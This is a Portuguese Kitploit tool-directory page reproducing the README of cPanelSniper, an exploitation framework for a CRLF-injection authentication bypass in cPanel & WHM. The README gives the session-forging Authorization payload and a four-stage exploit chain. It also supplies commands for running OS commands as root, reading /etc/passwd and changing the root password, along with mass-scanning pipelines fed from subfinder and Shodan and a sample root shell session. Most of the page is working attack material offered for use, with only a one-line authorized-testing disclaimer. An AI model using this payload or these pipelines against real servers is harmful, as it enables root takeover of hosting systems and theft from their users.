Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cPanelSniper — CVE-2026-41940 — Bypass de Autenticação no cPanel & WHM via Injeção CRLF em Arquivo de Sessão | Kitploit
Ferramentas/GitHubGitHub/zwanski2019/cpanelsniper
Autenticação e AutorizaçãoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesPós-ExploraçãoTestes de PenetraçãoComando e ControleRed Teaming
GitHubzwanski2019/cpanelsniper

cPanelSniper

33há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-41940 — Bypass de Autenticação no cPanel & WHM via Injeção CRLF em Arquivo de Sessão

Ver Repositório

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass de Autenticação do cPanel & WHM via Injeção CRLF em Arquivo de Sessão
Cadeia de exploração em 4 estágios · Shell WHM interativo · Scanner em massa · Pronto para pipeline · Apenas stdlib


Visão Geral

cPanelSniper é um framework de exploração focado em CVE-2026-41940, uma vulnerabilidade crítica de bypass de autenticação que afeta cPanel & WHM. A vulnerabilidade permite que atacantes remotos não autenticados obtenham acesso WHM de nível root ao injetar sequências CRLF no arquivo de sessão por meio do cabeçalho HTTP Authorization — sem nenhuma credencial válida.

  • Pontuação CVSS: 10.0 (Crítica)
  • Exploração ativa: Confirmada (abril de 2026)
  • Instalações afetadas: ~70 milhões de domínios executando cPanel & WHM
  • Sem dependências: Python stdlib puro — sem pip, sem requests, sem pacotes externos

Apenas para testes de penetração autorizados e programas de bug bounty.


Como Funciona

A causa raiz está em Session.pm: a função saveSession() chama filter_sessiondata() depois de gravar o arquivo de sessão em disco. Isso significa que caracteres CRLF embutidos no valor do cabeçalho Authorization: Basic são gravados literalmente no arquivo de sessão, injetando campos controlados pelo atacante antes que a sanitização ocorra.

Fluxo normal:
  POST /login/ → filter_sessiondata() → gravar sessão → verificação de auth

Fluxo vulnerável:
  POST /login/ → gravar sessão (payload CRLF injetado) → filter_sessiondata() → verificação de auth lê arquivo envenenado

O Payload CRLF

O valor Authorization: Basic decodifica para:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Esses campos são gravados diretamente no arquivo de sessão em disco. Quando lidos de volta, o cPanel trata a sessão como uma sessão root totalmente autenticada.

Cadeia de Exploração em 4 Estágios

┌─────────────────────────────────────────────────────────────┐
│  Estágio 0 — Descoberta do Hostname Canônico                │
│  GET /openid_connect/cpanelid → 307 → hostname real         │
├─────────────────────────────────────────────────────────────┤
│  Estágio 1 — Criação de Sessão Pré-auth                     │
│  POST /login/?login_only=1  (credenciais erradas)           │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Estágio 2 — Injeção CRLF                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd grava campos CRLF no arquivo de sessão              │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Estágio 3 — Propagação (gadget do_token_denied)            │
│  GET /scripts2/listaccts                                    │
│  Aciona flush raw→cache — campos injetados tornam-se ativos │
│  ← 401 Token negado (esperado)                              │
├─────────────────────────────────────────────────────────────┤
│  Estágio 4 — Verificação de Acesso Root WHM                 │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Versões Afetadas

BranchVulnerávelCorrigida
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

Instalação

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

Nenhuma instalação via pip é necessária. Apenas Python 3.8+ stdlib puro.


Uso

Varredura Básica

# Alvo único — apenas varredura
python3 cPanelSniper.py -u https://target.com:2087

# Alvo único — shell interativo após o bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Varredura em massa a partir de arquivo
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Forçar varredura (pular detecção de cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

Ações Pós-Exploração

# Listar todas as contas cPanel no servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Executar comando do sistema operacional
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Obter informações do servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Obter versão do cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Alterar senha do root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interativo
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# A partir de lista de escopo
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Resultados do Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Pipe via stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Múltiplas fontes combinadas
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

Shell WHM Interativo

Após um bypass bem-sucedido, a flag --action shell abre um prompt interativo:

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Versão: CVE-2026-41940 | Auth: bypass CRLF
  Digite 'help' para comandos, 'exit' para sair
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Contas cPanel]  target.com:2087 (47 usuários)
    user01               domínio: example.com    email: [email protected]
    user02               domínio: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
Baixar ferramenta